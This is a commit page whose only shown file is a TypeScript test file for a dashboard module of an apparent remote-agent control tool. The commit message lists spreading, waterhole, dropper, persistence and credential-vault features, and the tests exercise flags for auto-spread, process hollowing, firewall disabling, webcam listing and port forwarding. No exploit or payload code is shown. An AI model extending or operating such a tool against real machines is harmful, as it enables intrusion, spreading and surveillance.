feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
117
server/web/src/help/crucibleOps.test.ts
Normal file
117
server/web/src/help/crucibleOps.test.ts
Normal file
@@ -0,0 +1,117 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { mockAgent } from '../test/fixtures';
|
||||
import {
|
||||
CRUCIBLE_PHASE_C_ACTIONS,
|
||||
CRUCIBLE_PHASE_C_STUBS,
|
||||
buildSSHForwardPayload,
|
||||
isWindowsPlatform,
|
||||
newPortForwardRow,
|
||||
onlineAgents,
|
||||
parseCameraListMessage,
|
||||
parseRemoteHostPort,
|
||||
selectionAggressiveHint,
|
||||
selectionCanRunAggressive,
|
||||
validatePortForwardRows,
|
||||
windowsOnlineAgents,
|
||||
} from './crucibleOps';
|
||||
|
||||
const fullCaps = {
|
||||
hole_punch: true,
|
||||
remote_aggressive: true,
|
||||
mesh_p2p: true,
|
||||
auto_spread: true,
|
||||
process_hollowing: false,
|
||||
ai_enabled: false,
|
||||
};
|
||||
|
||||
describe('crucibleOps', () => {
|
||||
it('onlineAgents filters to online status', () => {
|
||||
const agents = [
|
||||
mockAgent({ id: 'a', status: 'online' }),
|
||||
mockAgent({ id: 'b', status: 'offline' }),
|
||||
];
|
||||
expect(onlineAgents(agents).map((a) => a.id)).toEqual(['a']);
|
||||
});
|
||||
|
||||
it('windowsOnlineAgents filters to online Windows nodes', () => {
|
||||
const agents = [
|
||||
mockAgent({ id: 'w', status: 'online', platform: 'windows' }),
|
||||
mockAgent({ id: 'l', status: 'online', platform: 'linux' }),
|
||||
];
|
||||
expect(windowsOnlineAgents(agents).map((a) => a.id)).toEqual(['w']);
|
||||
});
|
||||
|
||||
it('isWindowsPlatform treats unknown as Windows', () => {
|
||||
expect(isWindowsPlatform(undefined)).toBe(true);
|
||||
expect(isWindowsPlatform('windows')).toBe(true);
|
||||
expect(isWindowsPlatform('linux')).toBe(false);
|
||||
});
|
||||
|
||||
it('selectionCanRunAggressive allows when any target has capability', () => {
|
||||
const agents = [
|
||||
mockAgent({ id: 'w', status: 'online', platform: 'windows', capabilities: fullCaps }),
|
||||
mockAgent({
|
||||
id: 'l',
|
||||
status: 'online',
|
||||
platform: 'linux',
|
||||
capabilities: { ...fullCaps, remote_aggressive: false },
|
||||
}),
|
||||
];
|
||||
expect(selectionCanRunAggressive('firewall_off', agents)).toBe(true);
|
||||
expect(selectionCanRunAggressive('mesh_status', [{ ...agents[1], capabilities: { ...fullCaps, mesh_p2p: false } }])).toBe(false);
|
||||
});
|
||||
|
||||
it('selectionAggressiveHint explains blocked bulk ops', () => {
|
||||
const agents = [
|
||||
mockAgent({
|
||||
id: 'l',
|
||||
status: 'online',
|
||||
platform: 'linux',
|
||||
capabilities: fullCaps,
|
||||
}),
|
||||
];
|
||||
expect(selectionAggressiveHint('firewall_off', agents)).toContain('Windows-only');
|
||||
expect(selectionAggressiveHint('hole_punch', [])).toContain('online');
|
||||
});
|
||||
|
||||
it('parseCameraListMessage strips ffmpeg banner lines', () => {
|
||||
const msg = `[dshow @ 0] DirectShow video devices
|
||||
"USB2.0 HD UVC WebCam"
|
||||
/dev/video0`;
|
||||
expect(parseCameraListMessage(msg)).toEqual(['"USB2.0 HD UVC WebCam"', '/dev/video0']);
|
||||
});
|
||||
|
||||
it('lists Phase C actions', () => {
|
||||
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('smb_shares');
|
||||
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('spread_status');
|
||||
expect(CRUCIBLE_PHASE_C_STUBS.some((s) => s.id === 'smb_shares')).toBe(true);
|
||||
});
|
||||
|
||||
it('parseRemoteHostPort splits host and port', () => {
|
||||
expect(parseRemoteHostPort('192.168.1.10:3389')).toEqual({ host: '192.168.1.10', port: 3389 });
|
||||
expect(parseRemoteHostPort('[::1]:22')).toEqual({ host: '::1', port: 22 });
|
||||
expect(parseRemoteHostPort('bad')).toBeNull();
|
||||
});
|
||||
|
||||
it('buildSSHForwardPayload omits empty ssh user', () => {
|
||||
expect(buildSSHForwardPayload('2222', '10.0.0.5:22', '')).toEqual({
|
||||
local_port: 2222,
|
||||
remote_host: '10.0.0.5',
|
||||
remote_port: 22,
|
||||
});
|
||||
expect(buildSSHForwardPayload('2222', '10.0.0.5:22', 'admin')).toEqual({
|
||||
local_port: 2222,
|
||||
remote_host: '10.0.0.5',
|
||||
remote_port: 22,
|
||||
ssh_user: 'admin',
|
||||
});
|
||||
});
|
||||
|
||||
it('validatePortForwardRows rejects invalid rows', () => {
|
||||
expect(validatePortForwardRows([])).toContain('at least one');
|
||||
const row = newPortForwardRow('r1');
|
||||
row.remoteHostPort = 'nope';
|
||||
expect(validatePortForwardRows([row])).toContain('Invalid row');
|
||||
expect(validatePortForwardRows([newPortForwardRow('r2')])).toBeNull();
|
||||
});
|
||||
});
|
||||
Reference in New Issue
Block a user